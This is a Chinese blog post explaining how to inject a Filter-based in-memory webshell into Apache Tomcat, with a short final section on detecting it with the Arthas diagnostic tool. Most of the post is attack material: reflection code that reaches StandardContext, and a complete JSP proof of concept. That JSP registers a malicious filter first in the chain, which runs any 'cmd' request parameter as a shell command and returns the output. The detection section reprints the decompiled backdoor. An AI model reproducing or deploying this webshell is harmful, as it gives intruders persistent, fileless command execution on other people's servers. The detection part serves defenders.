首页 > 系统相关 >Filter内存马及工具检测

Filter内存马及工具检测

时间:2023-08-03 15:23:17浏览次数:43  
标签:filter 马及 Filter 内存 arthas apache org servlet

原理

Servlet 有自己的过滤器filter,可以通过自定义的过滤器,来对用户的请求进行拦截等操作。

经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。

Filter注册流程

先看一个正常的demo

filter.java

package memoryshell;

import javax.servlet.*;
import java.io.IOException;

public class filter implements Filter {

    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {
        System.out.println("Filter 销毁");
    }
}''
    ]]

web.xml

<filter>
    <filter-name>filter</filter-name>
    <filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping>
    <filter-name>filter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

运行后成功触发

wKg0C2OG1yAQGFQAADDfg7AXXI501.png

之后再看几个会用到的类:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

接下来我们来分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的

调用栈

doFilter:13, filter (memoryshell)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1743, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

可以看到在StandardWrapperValve#invoke中,通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain,其中包含了filters有两个值,而第一个值就包含了我们传入的自定义filter

wKg0C2OG2WAe1GHAADjviy2bCk179.png

跟进createFilterChain(),获取了request请求,在通过该请求获取了filterChain

wKg0C2OG2uAUx0zAADNIyalv7Y684.png

再往下看,context获取了一个StandardContext()对象,接着用context获取了filterMaps主要就是filtername和path

wKg0C2OG3GAIdJCAADdUkcTiA509.png

之后经过循环逐一将filterMaps的值传入filterConfig,最后通过addFilter将其传入filterChain

wKg0C2OG3aALnmSAAC2N7423JA975.png

跟进addFilter(),最后将值赋给了filters中

wKg0C2OG3uAF8oaAADEVh2yUJU323.png

之后回到createFilterChain()的部分继续往下看,调用了filterChain的doFilter

wKg0C2OG4CAYgpbAAC9jWWXRnM611.png

跟进doFilter,最后的else部分调用了:

internalDoFilter(request,response);

跟进internalDoFilter(),将上边createFilterChain(),获取的filters[pos++]值传入filterConfig,接着传入filter,而这个filter也就是我们自定义的那个,所以最后执行filter.doFilter后,便跳转到了我们自定义的doFilter方法中输出了 ”执行过滤操作“

wKg0C2OG4WANoxTAADDJibaN8I168.png

Filter内存马注入

在上边提到了这两行,当构造我们的filter链的时候 ,是从context中获取到的 FiltersMaps

StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

当我们能直接获取 request 的时候,我们这里可以直接将我们的 ServletContext 转为 StandardContext 从而获取 context

当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context 
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

还有其他的获取方法:

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

获取Context后,发现这参数跟我们的fileter有关,所以尝试控制这部分注入内存马

wKg0C2OG5qAEYZMAAECrCFaSw748.png

  • filterMaps:一个HashMap对象,包含过滤器名字和URL映射
  • filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射
  • filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs

大致流程:

  • Filter
  • 利用 FilterDef 对 Filter 进行一个封装
  • 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  • 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启

      Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 首先判断名字是否存在,如果不存在我们就进行注入
  if (filterConfigs.get(name) == null){
    // 创建恶意 Filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
            }
            @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null){
                byte[] bytes = new byte[1024];
                Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }

        @Override
        public void destroy() {

        }

    };

    /**
     * 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
     */
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());

    // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
    standardContext.addFilterDef(filterDef);

    /**
     * 创建一个filtermap
     * 设置filter的名字和对应的urlpattern
     */
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    /**
     * 将filtermap 添加到 filterMaps 中的第一个位置
     */
    standardContext.addFilterMapBefore(filterMap);

    /**
     * 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
     */
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

    /**
     * 将 name 和 filterConfig 作为 key-value进行传入
     */
    filterConfigs.put(name,filterConfig);
    out.print("Inject Success !");
}

最终poc

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "Sentiment";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    //Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

注入成功,这里用到的是windows命令,linux命令需要用上边注释的那条

wKg0C2OGIuALs4ZAAAjthGTXi4677.png

wKg0C2OGJ2AYm52AAAheD5n8Pk578.png

内存马检测工具

arthas:https://arthas.aliyun.com/arthas-boot.jar

alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)

java -jar arthas-boot.jar

选择我们 Tomcat 的进程

输入1进入进程

利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类

利用jad --source-only org.apache.jsp.filter_jsp\$1 直接将 Class 进行反编译

可以监控进程,当我们访问 url 就会输出监控结果watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'

D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap
  [2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36
  [3]: 11480 org.jetbrains.jps.cmdline.Launcher
  [4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
  ,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---.
 /  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'

wiki       https://arthas.aliyun.com/doc
tutorials  https://arthas.aliyun.com/doc/arthas-tutorials.html
version    3.6.2
main_class
pid        13212
time       2022-07-17 12:10:04

[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1
        /*
         * Decompiled with CFR.
         *
         * Could not load the following classes:
         *  javax.servlet.Filter
         *  javax.servlet.FilterChain
         *  javax.servlet.FilterConfig
         *  javax.servlet.ServletException
         *  javax.servlet.ServletRequest
         *  javax.servlet.ServletResponse
         *  javax.servlet.http.HttpServletRequest
         */
        package org.apache.jsp;

        import java.io.IOException;
        import javax.servlet.Filter;
        import javax.servlet.FilterChain;
        import javax.servlet.FilterConfig;
        import javax.servlet.ServletException;
        import javax.servlet.ServletRequest;
        import javax.servlet.ServletResponse;
        import javax.servlet.http.HttpServletRequest;

        class filter_jsp.1
        implements Filter {
            filter_jsp.1() {
            }

            public void init(FilterConfig filterConfig) throws ServletException {
            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
/*173*/         HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/         if (req.getParameter("cmd") != null) {
/*175*/             byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/             int len = process.getInputStream().read(bytes);
/*179*/             servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/             process.destroy();
/*181*/             return;
                }
/*183*/         filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {
            }
        }

[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-07-17 12:23:35; [cost=0.7065ms] result=@ArrayList[
    @String[org.apache.jsp.filter_jsp$1],
    @String[memoryshell.filter],
    @String[org.apache.tomcat.websocket.server.WsFilter],
]

标签:filter,马及,Filter,内存,arthas,apache,org,servlet
From: https://www.cnblogs.com/SecIN/p/17603428.html

相关文章

  • java进程占用系统内存高,排查解决 _
    java进程占用系统内存高,排查解决_ 故障:今天许多开发反馈测试平台卡,访问不了,第一感觉判断是服务器内存爆了,或者cpu占用过高,上服务器看了一下,确实是内存爆了。然后开始定位问题原因,因为阿里这边安全的原因,具体的图片就不方便上传了,拿网上的图来说 使用top命令查看......
  • Unity的IFilterBuildAssemblies:深入解析与实用案例
    UnityIFilterBuildAssembliesUnityIFilterBuildAssemblies是Unity引擎中的一个非常有用的功能,它可以让开发者在构建项目时自定义哪些程序集需要被包含在构建中,哪些程序集需要被排除在建之外。这个功能可以帮助开发者更好地控制项目的构建过程,减少构建时间和构建大小。在本文中,......
  • c的内存管理
    C的内存管理C语言为内存的分配和管理提供了几个函数。这些函数可以在<stdlib.h>头文件中找到。在C语言中,内存是通过指针变量来管理的。指针是一个变量,它存储了一个内存地址,这个内存地址可以指向任何数据类型的变量,包括整数、浮点数、字符和数组等。C语言提供了一些函数和运......
  • 记一次 .NET某培训学校系统 内存碎片化分析
    一:背景1.讲故事前些天有位朋友微信上找到我,说他们学校的Web系统内存一直下不去,让我看下到底是怎么回事,老规矩让朋友生成一个dump文件丢给我,看一下便知。二:WinDbg分析1.托管还是非托管要想看托管还是非托管,可以用!address-summary观察下内存段。0:000>!address-summ......
  • Java内部类持有外部类会导致内存泄露
    packageorg.example.a;importjava.util.ArrayList;importjava.util.List;classOuter{privateint[]data;publicOuter(intsize){this.data=newint[size];}staticclassInner{}InnercreateInner(){ret......
  • 3.使用智能指针管理内存资源,RAII是怎么回事?
    3.使用智能指针管理内存资源,RAII是怎么回事?什么是RAII?RAII是ResourceAcquisitionIsInitialization(wiki上面翻译成“资源获取就是初始化”)的简称,是C++语言的一种管理资源、避免泄漏的惯用法。利用的就是C++构造的对象最终会被销毁的原则。RAII的做法是使用一个对象,在其构造时......
  • 2.简要说明C++的内存分区
    2.简要说明C++的内存分区1.一个由C/C++编译的程序占用的内存分为以下几个部分:C++中的内存分区,分别是堆、栈、自由存储区、全局/静态存储区、常量存储区和代码区。如下图所示栈:在执行函数时,函数内局部变量的存储单元都可以在栈上创建,函数执行结束时这些存储单元自动被释放。栈......
  • 3.什么是内存池,如何实现
    3.什么是内存池,如何实现内存池(MemoryPool)是一种内存分配方式。通常我们习惯直接使用new、malloc等申请内存,这样做的缺点在于:由于所申请内存块的大小不定,当频繁使用时会造成大量的内存碎片并进而降低性能。内存池则是在真正使用内存之前,先申请分配一定数量的、大小相等(一般情......
  • 4.可以说一下你了解的C++得内存管理吗?
    4.可以说一下你了解的C++得内存管理吗?1.一个由c/C++编译的程序占用的内存分为以下几个部分:C++中的内存分区,分别是堆、栈、自由存储区、全局/静态存储区、常量存储区和代码区。如下图所示栈:在执行函数时,函数内局部变量的存储单元都可以在栈上创建,函数执行结束时这些存储单元自......
  • 5.C++中类的数据成员和成员函数内存分布情况
    5.C++中类的数据成员和成员函数内存分布情况非静态成员的数据类型大小之和。编译器加入的额外成员变量(如指向虚函数表的指针)。为了边缘对齐优化加入的padding。空类(无非静态数据成员)的对象的size为1,当作为基类时,size为0。C++类是由结构体发展得来的,所以他们的成员变......